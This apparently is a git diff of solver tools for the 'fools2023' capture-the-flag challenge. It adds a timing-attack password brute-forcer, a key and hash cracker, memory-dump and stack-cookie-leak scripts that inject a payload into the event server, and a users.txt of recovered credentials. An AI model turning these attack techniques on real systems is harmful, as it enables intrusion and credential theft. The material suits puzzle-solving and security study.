.byte 0x37, 0xc6, 0xf7, 0x77, 0x34, 0x1d, 0x6a, 0xd3 + .byte 0xa7, 0x48, 0x6a, 0xc1, 0x7d, 0xe7, 0x76, 0x8c + .byte 0x62, 0x8f, 0x62, 0x8c, 0x5c, 0xe4, 0xf1, 0xf3 + .byte 0xfd, 0x5f, 0xb6, 0x9d, 0xb4, 0xd7, 0xa8, 0xa0 + .byte 0xcd, 0xde, 0x8b, 0x72, 0x73, 0xe4, 0xfa, 0xe7 + .byte 0x33, 0x8f, 0x11, 0x1e, 0xaf, 0xd3, 0x40, 0xa7 + .byte 0x86, 0x26, 0xf3, 0x77, 0x4c, 0x6e, 0x2d, 0x2d + .byte 0xa4, 0x03, 0xc2, 0x74, 0x2e, 0xb3, 0xdd, 0x85 + .byte 0x29, 0x41, 0x90, 0xc3, 0xc7, 0x3a, 0x96, 0xb9 + .byte 0x8e, 0x35, 0xcf, 0x37, 0xc0, 0xc8, 0xff, 0xd5 + .byte 0x8b, 0x9f, 0xa1, 0xd9, 0x0f, 0x8e, 0x8e, 0xc6 + .byte 0x11, 0xc1, 0xc0, 0xc9, 0x9e, 0x5b, 0x9c, 0xa1 + .byte 0x2d, 0xc6, 0x4b, 0xf5, 0x34, 0x65, 0xb4, 0xcc + .byte 0xac, 0x88, 0xbf, 0x49, 0x43, 0x77, 0xac, 0x8f + .byte 0x61, 0x71, 0x8e, 0x59, 0x7f, 0x78, 0xd9, 0x73 + .byte 0x41, 0x90, 0x73, 0x8b, 0x8e, 0x93, 0x3f, 0x6e + .byte 0xdd, 0x2e, 0x37, 0xe8, 0x72, 0x43, 0xa1, 0xf3 + .byte 0xa9, 0xfe, 0x7f, 0x98, 0xf3, 0xa5, 0x98, 0x43 + .byte 0xe5, 0x60, 0xb9, 0x5d, 0xbd, 0xba, 0x3f, 0xae + .byte 0x71, 0xf6, 0xed, 0xc1, 0xfe, 0x8f, 0x2d, 0x15 + .byte 0xd9, 0xc6, 0xf7, 0x57, 0x83, 0x57, 0x7e, 0x10 + .byte 0xb6, 0xc3, 0x76, 0x29, 0xb1, 0x10, 0x12, 0x1e + .byte 0xea, 0xa1, 0x15, 0x81, 0x9c, 0x22, 0x5f, 0x8a + .byte 0xf3, 0xff, 0x1c, 0x37, 0x4e, 0x57, 0x1b, 0x26 + .byte 0x64, 0xb7, 0xca, 0x7c, 0xc8, 0x57, 0xd9, 0x57 + +mem_decrypted: + .fill 0x200, 1, 0 diff --git a/tools/brute_GRLTS02.sh b/tools/brute_GRLTS02.sh new file mode 100755 index 0000000..ddad14d --- /dev/null +++ b/tools/brute_GRLTS02.sh @@ -0,0 +1,264 @@ +#!/bin/sh + +chars=" +3000 +3100 +3200 +3300 +3400 +3500 +3600 +3700 +3800 +3900 + +6100 +6200 +6300 +6400 +6500 +6600 +6700 +6800 +6900 +6a00 +6b00 +6c00 +6d00 +6e00 +6f00 +7000 +7100 +7200 +7300 +7400 +7500 +7600 +7700 +7800 +7900 +7a00 + +4100 +4200 +4300 +4400 +4500 +4600 +4700 +4800 +4900 +4a00 +4b00 +4c00 +4d00 +4e00 +4f00 +5000 +5100 +5200 +5300 +5400 +5500 +5600 +5700 +5800 +5900 +5a00 + +2000 +2100 +2200 +2300 +2400 +2500 +2600 +2700 +2800 +2900 +2a00 +2b00 +2c00 +2d00 +2e00 +2f00 +3a00 +3b00 +3c00 +3d00 +3e00 +3f00 +4000 +5b00 +5c00 +5d00 +5e00 +5f00 +6000 +7b00 +7c00 +7d00 +7e00 +7f00 +8000 +8100 +8200 +8300 +8400 +8500 +8600 +8700 +8800 +8900 +8a00 +8b00 +8c00 +8d00 +8e00 +8f00 +9000 +9100 +9200 +9300 +9400 +9500 +9600 +9700 +9800 +9900 +9a00 +9b00 +9c00 +9d00 +9e00 +9f00 +a000 +a100 +a200 +a300 +a400 +a500 +a600 +a700 +a800 +a900 +aa00 +ab00 +ac00 +ad00 +ae00 +af00 +b000 +b100 +b200 +b300 +b400 +b500 +b600 +b700 +b800 +b900 +ba00 +bb00 +bc00 +bd00 +be00 +bf00 +c000 +c100 +c200 +c300 +c400 +c500 +c600 +c700 +c800 +c900 +ca00 +cb00 +cc00 +cd00 +ce00 +cf00 +d000 +d100 +d200 +d300 +d400 +d500 +d600 +d700 +d800 +d900 +da00 +db00 +dc00 +dd00 +de00 +df00 +e000 +e100 +e200 +e300 +e400 +e500 +e600 +e700 +e800 +e900 +ea00 +eb00 +ec00 +ed00 +ee00 +ef00 +f000 +f100 +f200 +f300 +f400 +f500 +f600 +f700 +f800 +f900 +fa00 +fb00 +fc00 +fd00 +fe00 +ff00 + +0100 +0200 +0300 +0400 +0500 +0600 +0700 +0800 +0900 +0b00 +0c00 +0d00 +0e00 +0f00 +1000 +1100 +1200 +1300 +1400 +1500 +1600 +1700 +1800 +1900 +1a00 +1b00 +1c00 +1d00 +1e00 +1f00 +" + +echo "$chars" | xxd -r -p | xargs -P16 -0 -I% ./timepwn_GRLTS02.py "$1"% diff --git a/tools/crack_GRLTS02.py b/tools/crack_GRLTS02.py new file mode 100755 index 0000000..31bac0e --- /dev/null +++ b/tools/crack_GRLTS02.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 + +# Only possible after dumping GRLTS02 monitor... +# See brute_GRLTS02.sh/timepwn_GRLTS02.py for the initial entry + +pass_arwen = [ + 0xc6, 0x44, 0x99, 0xe3, 0xe9, 0x19, 0x0d, 0x07, 0x0d, 0x12, 0x79 +] +pass_shadow = [ + 0xe9, 0x22, 0xd8, 0x7c, 0x3c, 0x07, 0x54, 0x2d, 0x5e, 0x53, 0x6a, 0xff, + 0x80, 0x5e, 0xcd, 0xc8, 0xcf, 0xff, 0x44, 0x74, 0xc8, 0xd8, 0x4b +] + +enctable = open("../GRLTS02/ENCTABLE.BIN", "rb").read() + +sumtable = [] +for x in range(0x100): + b = enctable[x+0x000] + b += enctable[x+0x100] + b += enctable[x+0x200] + b += enctable[x+0x300] + b &= 0xff + sumtable.append(b) + +chars = b"{}*02357@BFLOSTXY_degilnps" + +def decode(pwd): + dec = bytearray() + for i, x in enumerate(pwd): + # candidates = "" + # for ni, y in enumerate(sumtable): + # if x == y: + # c = (ni - i) & 0xff + # if c < 0x20 or c >= 0x80: + # continue + # candidates += chr(c) + # print(candidates) + + for y in chars: + if sumtable[(y + i) & 0xff] == x: + dec.append(y) + break + return dec + +print(decode(pass_arwen).decode()) +print(decode(pass_shadow).decode()) diff --git a/tools/decrypt_REPORT03.c b/tools/decrypt_REPORT03.c new file mode 100644 index 0000000..1e330a8 --- /dev/null +++ b/tools/decrypt_REPORT03.c @@ -0,0 +1,146 @@ +#define _GNU_SOURCE +#include +#include +#include +#include + +const uint8_t data[] = { + 0xfb, 0x72, 0x3a, 0x22, 0x21, 0x4b, 0x6a, 0xc2, + 0x28, 0xe6, 0xe4, 0xc1, 0xa7, 0x25, 0xb6, 0xe0, + 0x98, 0xb2, 0x0a, 0xe0, 0x9b, 0xab, 0xc1, 0x84, + 0xb8, 0x2d, 0x8f, 0xd8, 0x7e, 0x07, 0x3a, 0xcb, + 0xc9, 0xf0, 0xf5, 0x38, 0x51, 0x43, 0xed, 0x52, + 0xf8, 0x44, 0xe4, 0xc2, 0x50, 0x22, 0x27, 0x2a, + 0x65, 0x44, 0x81, 0x79, 0xc2, 0x6c, 0xb4, 0xaf, + 0xd9, 0x9d, 0x7c, 0x74, 0xb3, 0x58, 0xea, 0xcd, + 0x69, 0xe2, 0xa2, 0xdf, 0xe7, 0xca, 0xc4, 0x65, + 0xe0, 0xe8, 0xf3, 0xbe, 0xee, 0x97, 0x68, 0xad, + 0x61, 0x0e, 0x27, 0x78, 0x32, 0x86, 0x6d, 0x5c, + 0x02, 0xc2, 0x6e, 0xd1, 0xdf, 0x93, 0x14, 0x4d, + 0xcb, 0x1a, 0x90, 0xf4, 0x20, 0x95, 0xc0, 0xd3, + 0x1d, 0xe8, 0x73, 0x2b, 0xdb, 0xaf, 0xae, 0x74, + 0x7a, 0x1d, 0x50, 0x4a, 0xa6, 0x9d, 0x56, 0xcc, + 0xb5, 0x5d, 0x07, 0xd1, 0x04, 0xa7, 0x16, 0x5c, + 0x1d, 0x40, 0x4e, 0x65, 0x51, 0xf2, 0x68, 0x0a, + 0x4a, 0xb3, 0x56, 0x56, 0xc1, 0x51, 0x1f, 0x0f, + 0xc2, 0x7d, 0x4b, 0x29, 0x5b, 0x58, 0x1d, 0x2f, + 0xff, 0x66, 0xc0, 0x3c, 0xbb, 0xbb, 0x34, 0x93, + 0x30, 0xe6, 0x34, 0xb7, 0x8d, 0xd4, 0x4a, 0xa3, + 0xd7, 0x88, 0x00, 0x72, 0xba, 0x13, 0x0c, 0x4d, + 0x97, 0x46, 0xe0, 0xbb, 0x07, 0xa6, 0xef, 0xfa, + 0x12, 0x0a, 0xfe, 0x56, 0xe9, 0x14, 0x2b, 0xda, + 0x64, 0x3c, 0xfe, 0xc5, 0x3c, 0xa3, 0x50, 0x02, + 0x20, 0xb7, 0x20, 0x05, 0x3d, 0xdb, 0xf1, 0x8a, + 0x81, 0x41, 0x4c, 0x24, 0x52, 0x38, 0x8f, 0xb9, + 0x7e, 0x2e, 0x6f, 0x76, 0x1c, 0x3f, 0x97, 0x87, + 0x16, 0xd5, 0xd3, 0xc9, 0x70, 0x92, 0xd7, 0xd2, + 0x47, 0x59, 0xe6, 0x87, 0x12, 0x2c, 0xe0, 0xa5, + 0x6c, 0x17, 0x9c, 0xbe, 0xee, 0xe4, 0xd4, 0x50, + 0xea, 0x94, 0x57, 0x91, 0x4f, 0xb1, 0x57, 0xaa, + 0x46, 0xe9, 0x86, 0x76, 0xd3, 0xf8, 0xb9, 0xa5, + 0x8c, 0x9c, 0x57, 0x56, 0x0a, 0x72, 0x48, 0xc8, + 0x14, 0xb6, 0x8b, 0xf2, 0x48, 0x3c, 0x4d, 0xb5, + 0x3a, 0x48, 0x07, 0xa6, 0xf2, 0x8e, 0xa3, 0x0b, + 0x39, 0x02, 0x75, 0x9b, 0xc8, 0xdc, 0x6f, 0x0a, + 0x75, 0x00, 0x52, 0x6d, 0xbf, 0x77, 0x89, 0x2f, + 0xce, 0xb0, 0x27, 0xef, 0x42, 0x1e, 0x36, 0xe1, + 0x37, 0xc6, 0xf7, 0x77, 0x34, 0x1d, 0x6a, 0xd3, + 0xa7, 0x48, 0x6a, 0xc1, 0x7d, 0xe7, 0x76, 0x8c, + 0x62, 0x8f, 0x62, 0x8c, 0x5c, 0xe4, 0xf1, 0xf3, + 0xfd, 0x5f, 0xb6, 0x9d, 0xb4, 0xd7, 0xa8, 0xa0, + 0xcd, 0xde, 0x8b, 0x72, 0x73, 0xe4, 0xfa, 0xe7, + 0x33, 0x8f, 0x11, 0x1e, 0xaf, 0xd3, 0x40, 0xa7, + 0x86, 0x26, 0xf3, 0x77, 0x4c, 0x6e, 0x2d, 0x2d, + 0xa4, 0x03, 0xc2, 0x74, 0x2e, 0xb3, 0xdd, 0x85, + 0x29, 0x41, 0x90, 0xc3, 0xc7, 0x3a, 0x96, 0xb9, + 0x8e, 0x35, 0xcf, 0x37, 0xc0, 0xc8, 0xff, 0xd5, + 0x8b, 0x9f, 0xa1, 0xd9, 0x0f, 0x8e, 0x8e, 0xc6, + 0x11, 0xc1, 0xc0, 0xc9, 0x9e, 0x5b, 0x9c, 0xa1, + 0x2d, 0xc6, 0x4b, 0xf5, 0x34, 0x65, 0xb4, 0xcc, + 0xac, 0x88, 0xbf, 0x49, 0x43, 0x77, 0xac, 0x8f, + 0x61, 0x71, 0x8e, 0x59, 0x7f, 0x78, 0xd9, 0x73, + 0x41, 0x90, 0x73, 0x8b, 0x8e, 0x93, 0x3f, 0x6e, + 0xdd, 0x2e, 0x37, 0xe8, 0x72, 0x43, 0xa1, 0xf3, + 0xa9, 0xfe, 0x7f, 0x98, 0xf3, 0xa5, 0x98, 0x43, + 0xe5, 0x60, 0xb9, 0x5d, 0xbd, 0xba, 0x3f, 0xae, + 0x71, 0xf6, 0xed, 0xc1, 0xfe, 0x8f, 0x2d, 0x15, + 0xd9, 0xc6, 0xf7, 0x57, 0x83, 0x57, 0x7e, 0x10, + 0xb6, 0xc3, 0x76, 0x29, 0xb1, 0x10, 0x12, 0x1e, + 0xea, 0xa1, 0x15, 0x81, 0x9c, 0x22, 0x5f, 0x8a, + 0xf3, 0xff, 0x1c, 0x37, 0x4e, 0x57, 0x1b, 0x26, + 0x64, 0xb7, 0xca, 0x7c, 0xc8, 0x57, 0xd9, 0x57, +}; + +uint8_t dec[0x200]; + +void decrypt(uint16_t key) +{ + for (int i = 0; i < 0x200; i += 2) { + key = (key * 0x41a7) ^ 0x5555; + uint16_t d = data[i + 0] << 0 | data[i + 1] << 8; + d ^= key; + dec[i + 0] = d >> 0; + dec[i + 1] = d >> 8; + } +} + +uint8_t fools[] = {'F', 'O', 'O', 'L', 'S'}; + +bool check() +{ + return memmem(dec, 0x200, fools, sizeof(fools)); +} + +uint16_t hash(char *str) +{ + uint16_t key = 0x9fc0; + for (;;) { + uint16_t in = str[0] << 0 | str[1] << 8; + key = (((key * 2) ^ in) * 2) + in; + if (*str == 0) break; + str++; + break; + } + return key; +} + +int main() +{ + uint16_t key = 0; + for (int i = 0xa4; i <= 0xffff; i++) { + decrypt(i); + if (check()) { + fwrite(dec, 0x200, 1, stdout); + key = i; + break; + } + } + printf("\n%04x\n", key); + + uint8_t str[16] = {0}; + for (;;) { + int i; + for (i = 0; i < 2; i++) { + str[i]++; + //if (str[i] >= 0x7b) { + //str[i] = 0x20; + //continue; + //} + //if (str[i] < 0x30) str[i] = 0x30; + //if (str[i] >= 0x3A && str[i] <= 0x40) str[i] = 0x41; + //if (str[i] >= 0x5B && str[i] <= 0x60) str[i] = 0x61; + + if (str[i] == 0x7f) { + str[i] = 0x20; + continue; + } + if (str[i] < 0x20) str[i] = 0x20; + break; + } + if (i >= 2) break; + + if (key == hash(str)) { + printf("%s\n", str); + } + } +} diff --git a/tools/dump_GRLINFSRV.sh b/tools/dump_GRLINFSRV.sh new file mode 100755 index 0000000..42749e0 --- /dev/null +++ b/tools/dump_GRLINFSRV.sh @@ -0,0 +1,21 @@ +#!/bin/sh +set -e + +for x in $(seq 240 255); do + for y in $(seq 0 255); do + if [ $y -eq 10 ]; then + out="$(printf 'f0%02x%02x0a710a' 9 $x | xxd -r -p | \ + nc fools2023.online 13339 | \ + grep '^Welcome,' | \ + sed -e 's/^Welcome, \([^!]*\)!*/\1/' | \ + cut -c -2)" + echo "$out" + continue + fi + out="$(printf 'f1%02x%02x0a710a' $y $x | xxd -r -p | \ + nc fools2023.online 13339 | \ + grep '^Welcome,' | \ + sed -e 's/^Welcome, \([^!]*\)!*/\1/')" + echo "$out" + done +done diff --git a/tools/monitor_GRLINFSRV.py b/tools/monitor_GRLINFSRV.py new file mode 100755 index 0000000..7aacdd9 --- /dev/null +++ b/tools/monitor_GRLINFSRV.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 + +from sys import stdin, stdout +from binascii import unhexlify +import socket +import select + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(("fools2023.online", 13339)) + +# Sniff out the stack cookie +s.send(unhexlify("f14ff7f150f7f151f7f152f70a")) +intro = bytearray() +s.settimeout(0.1) +while True: + try: + intro += s.recv(1024) + except socket.timeout: + break +s.settimeout(None) +intro = intro.decode() +index = intro.find("Welcome, ") + len("Welcome, ") +cookie = unhexlify(intro[index:index+8]) + +# Patch the stack cookie into the payload +code = bytearray(open("../prog/custom/pwninfsrv.prg", "rb").read()) +offs = len(code) - 0x100 +code[offs+0] = cookie[0] +code[offs+1] = cookie[1] +code[offs+2] = cookie[2] +code[offs+3] = cookie[3] + +# Send the payload +s.send(b"\n") +s.send(code) +s.send(b"\n") + +# Send the monitor rom +monitor = open("../prog/MONITOR.PRG", "rb").read() +s.send(monitor[0x1000:]) + +# Passthrough input +p = select.poll() +p.register(stdin.buffer, select.POLLIN | select.POLLPRI) +p.register(s, select.POLLIN | select.POLLPRI) +while True: + for fd, ev in p.poll(): + if fd == stdin.buffer.fileno(): + s.send(stdin.buffer.read(1)) + if fd == s.fileno(): + stdout.buffer.write(s.recv(1)) + stdout.buffer.flush() diff --git a/tools/timepwn_GRLTS02.py b/tools/timepwn_GRLTS02.py new file mode 100755 index 0000000..3ce4dcd --- /dev/null +++ b/tools/timepwn_GRLTS02.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 + +import socket +import time +import sys + +def socket_slurp(s): + # Read any data with a 0.1ms timeout + s.settimeout(0.1) + while True: + try: + s.recv(1024) + except socket.timeout: + break + s.settimeout(None) + +def socket_readline(s): + line = bytearray() + while True: + c = s.recv(1024) + line += c + if b"\n" in c: + break + return line + +def attempt(s, pwd): + s.send(b"ax.arwen\n") + part1 = socket_readline(s) + part2 = socket_readline(s) + + s.send(pwd + b"\n") + part1 = socket_readline(s) + time1 = time.time() + part2 = socket_readline(s) + time2 = time.time() + return time2 - time1 + +pwd = sys.argv[1].encode(sys.getfilesystemencoding(), 'surrogateescape') +print(pwd) +exit() + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(("fools2023.online", 13338)) +socket_slurp(s) + +attempts = 4 +times = 0 +for x in range(attempts): + times += attempt(s, pwd) +times /= attempts +print(pwd, ":", "%.04f" % times) diff --git a/users.txt b/users.txt new file mode 100644 index 0000000..7a15834 --- /dev/null +++ b/users.txt @@ -0,0 +1,3 @@ +sbw.shadow:GlitchResearchLabPas$w0Rd2022!X23 +sbw.shadow:FOOLS2023_{Y3d0ngST@il} +ax.arwen:sepiB7705*X